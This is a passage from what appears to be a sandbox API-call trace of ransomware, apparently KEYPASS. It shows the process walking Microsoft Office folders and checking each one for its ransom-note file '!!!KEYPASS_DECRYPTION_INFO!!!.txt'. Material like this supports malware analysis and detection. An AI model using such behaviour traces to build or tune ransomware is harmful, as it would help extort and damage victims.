lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4db04, cchData=2 | out: lpLCData="0") returned 2 [0268.084] CloseHandle (hObject=0xc74) returned 1 [0268.085] PeekMessageW (in: lpMsg=0x2e4dc98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dc98) returned 0 [0268.085] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39a3018 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0268.085] GetLastError () returned 0x3f0 [0268.085] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\DataModel\\Resources\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\DataModel\\Resources\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0268.085] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\DataModel\\Resources\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0268.086] GetFileType (hFile=0xc70) returned 0x1 [0268.086] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4db28, cchData=2 | out: lpLCData="0") returned 2 [0268.086] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4db14, cchData=2 | out: lpLCData="0") returned 2 [0268.087] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4db04, cchData=2 | out: lpLCData="0") returned 2 [0268.087] CloseHandle (hObject=0xc70) returned 1 [0268.087] PeekMessageW (in: lpMsg=0x2e4d948, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d948) returned 0 [0268.088] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39a3838 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0268.088] GetLastError () returned 0x3f0 [0268.088] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\DataModel\\Resources\\1033\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\DataModel\\Resources\\1033\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0268.088] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\DataModel\\Resources\\1033\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0268.088] GetFileType (hFile=0xc78) returned 0x1 [0268.088] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d7d8, cchData=2 | out: lpLCData="0") returned 2 [0268.088] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d7c4, cchData=2 | out: lpLCData="0") returned 2 [0268.088] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d7b4, cchData=2 | out: lpLCData="0") returned 2 [0268.089] CloseHandle (hObject=0xc78) returned 1 [0268.089] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0268.089] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x4ecfe50 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0268.090] GetLastError () returned 0x3f0 [0268.090] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\en-us\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\en-us\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0268.090] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\en-us\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0268.091] GetFileType (hFile=0xc7c) returned 0x1 [0268.091] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0268.091] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0268.091] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0268.092] CloseHandle (hObject=0xc7c) returned 1 [0268.092] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0268.093] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x4ecfe50 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0268.093] GetLastError () returned 0x3f0 [0268.093] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\Office Setup Controller\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\Office Setup Controller\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0268.093] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\Office Setup Controller\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0268.094] GetFileType (hFile=0xc84) returned 0x1 [0268.094] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0268.094] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0268.094] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0268.095] CloseHandle (hObject=0xc84) returned 1 [0268.095] PeekMessageW (in: lpMsg=0x2e4dc98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dc98) returned 0 [0268.095] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x4eda688 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0268.095] GetLastError () returned 0x3f0 [0268.096] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\Office Setup Controller\\Office.en-us\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\Office Setup Controller\\Office.en-us\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0268.096] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\Office Setup Controller\\Office.en-us\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0268.125] GetFileType (hFile=0xc80) returned 0x1 [0268.126] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4db28, cchData=2 | out: lpLCData="0") returned 2 [0268.126] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4db14, cchData=2 | out: lpLCData="0") returned 2 [0268.126] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4db04, cchData=2 | out: lpLCData="0") returned 2 [0268.127] CloseHandle (hObject=0xc80) returned 1 [0268.127] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0268.127] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39865f8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0268.127] GetLastError () returned 0x3f0 [0268.127] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\PROOF\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\PROOF\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0268.127] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\PROOF\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0268.141] GetFileType (hFile=0xc88) returned 0x1 [0268.141] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1c8, cchData=2 | out: lpLCData="0") returned 2 [0268.141] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1b4, cchData=2 | out: lpLCData="0") returned 2 [0268.141] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1a4, cchData=2 | out: lpLCData="0") returned 2 [0268.142] CloseHandle (hObject=0xc88) returned 1 [0268.142] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0268.142] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39865f8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0268.142] GetLastError () returned 0x3f0 [0268.143] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Smart Tag\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Smart Tag\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0268.143] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Smart Tag\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0268.193] GetFileType (hFile=0xc90) returned 0x1 [0268.193] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1c8, cchData=2 | out: lpLCData="0") returned 2 [0268.193] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1b4, cchData=2 | out: lpLCData="0") returned 2 [0268.193] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1a4, cchData=2 | out: lpLCData="0") returned 2 [0268.194] CloseHandle (hObject=0xc90) returned 1 [0268.194] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0268.195] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x4ecfe50 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0268.195] GetLastError () returned 0x3f0 [0268.195] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Smart Tag\\1033\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Smart Tag\\1033\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0268.195] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Smart Tag\\1033\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0268.196] GetFileType (hFile=0xc94) returned 0x1 [0268.196] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0268.196] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0268.196] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0268.197] CloseHandle (hObject=0xc94) returned 1 [0268.197] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0268.197] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x4ecfe50 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0268.197] GetLastError () returned 0x3f0 [0268.197] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Smart Tag\\LISTS\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Smart Tag\\LISTS\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0268.197] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Smart Tag\\LISTS\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0268.198] GetFileType (hFile=0xc98) returned 0x1 [0268.198] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0268.198] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0268.198] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0268.199] CloseHandle (hObject=0xc98) returned 1 [0268.199] PeekMessageW (in: lpMsg=0x2e4dc98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dc98) returned 0 [0268.199] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x4edc690 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0268.199] GetLastError () returned 0x3f0 [0268.199] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0268.199] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0268.200] GetFileType (hFile=0xc9c) returned 0x1 [0268.200] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4db28, cchData=2 | out: lpLCData="0") returned 2 [0268.201] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4db14, cchData=2 | out: lpLCData="0") returned 2 [0268.201] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4db04, cchData=2 | out: lpLCData="0") returned 2 [0268.201] CloseHandle (hObject=0xc9c) returned 1 [0268.202] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0268.202] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39865f8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0268.202] GetLastError () returned 0x3f0 [0268.202] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Source Engine\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Source Engine\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0268.202] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Source Engine\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0268.203] GetFileType (hFile=0xc8c) returned 0x1 [0268.203] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1c8, cchData=2 | out: lpLCData="0") returned 2 [0268.203] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1b4, cchData=2 | out: lpLCData="0") returned 2 [0268.203] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1a4, cchData=2 | out: lpLCData="0") returned 2 [0268.204] CloseHandle (hObject=0xc8c) returned 1 [0268.204] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0268.204] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39865f8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0268.205] GetLastError () returned 0x3f0 [0268.205] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\TEXTCONV\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\TEXTCONV\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0268.205] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\TEXTCONV\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0268.216] GetFileType (hFile=0xca0) returned 0x1 [0268.216] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1c8, cchData=2 | out: lpLCData="0") returned 2 [0268.216] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1b4, cchData=2 | out: lpLCData="0") returned 2 [0268.216] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1a4, cchData=2 | out: lpLCData="0") returned 2 [0268.217] CloseHandle (hObject=0xca0) returned 1 [0268.217] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0268.217] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39865f8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0268.217] GetLastError () returned 0x3f0 [0268.217] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0268.218] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0268.229] GetFileType (hFile=0xca8) returned 0x1 [0268.229] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1c8, cchData=2 | out: lpLCData="0") returned 2 [0268.229] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1b4, cchData=2 | out: lpLCData="0") returned 2 [0268.229] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1a4, cchData=2 | out: lpLCData="0") returned 2 [0268.230] CloseHandle (hObject=0xca8) returned 1 [0268.231] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0268.231] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x4ecfe50 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0268.231] GetLastError () returned 0x3f0 [0268.231] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\AFTRNOON\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\AFTRNOON\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0268.231] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\AFTRNOON\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0268.233] GetFileType (hFile=0xcac) returned 0x1 [0268.234] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0268.234] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0268.234] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0268.234] CloseHandle (hObject=0xcac) returned 1 [0268.235] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0268.235] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x4ecfe50 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0268.235] GetLastError () returned 0x3f0 [0268.235] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\ARCTIC\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\ARCTIC\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0268.235] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\ARCTIC\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0268.260] GetFileType (hFile=0xcb0) returned 0x1 [0268.260] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0268.260] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0268.261] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0268.267] CloseHandle (hObject=0xcb0) returned 1 [0268.267] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0268.267] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x4ecfe50 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0268.267] GetLastError () returned 0x3f0 [0268.267] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\AXIS\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\AXIS\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0268.267] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\AXIS\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0268.269] GetFileType (hFile=0xca4) returned 0x1 [0268.269] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0268.269] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0268.270] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0268.270] CloseHandle (hObject=0xca4) returned 1 [0268.270] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0268.270] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x4ecfe50 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0268.270] GetLastError () returned 0x3f0 [0268.271] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BLENDS\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BLENDS\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0268.271] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BLENDS\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0268.315] GetFileType (hFile=0xcb8) returned 0x1 [0268.315] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0268.315] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0268.315] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0268.316] CloseHandle (hObject=0xcb8) returned 1 [0268.316] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0268.316] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x4ecfe50 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0268.316] GetLastError () returned 0x3f0 [0268.316] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BLUECALM\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft 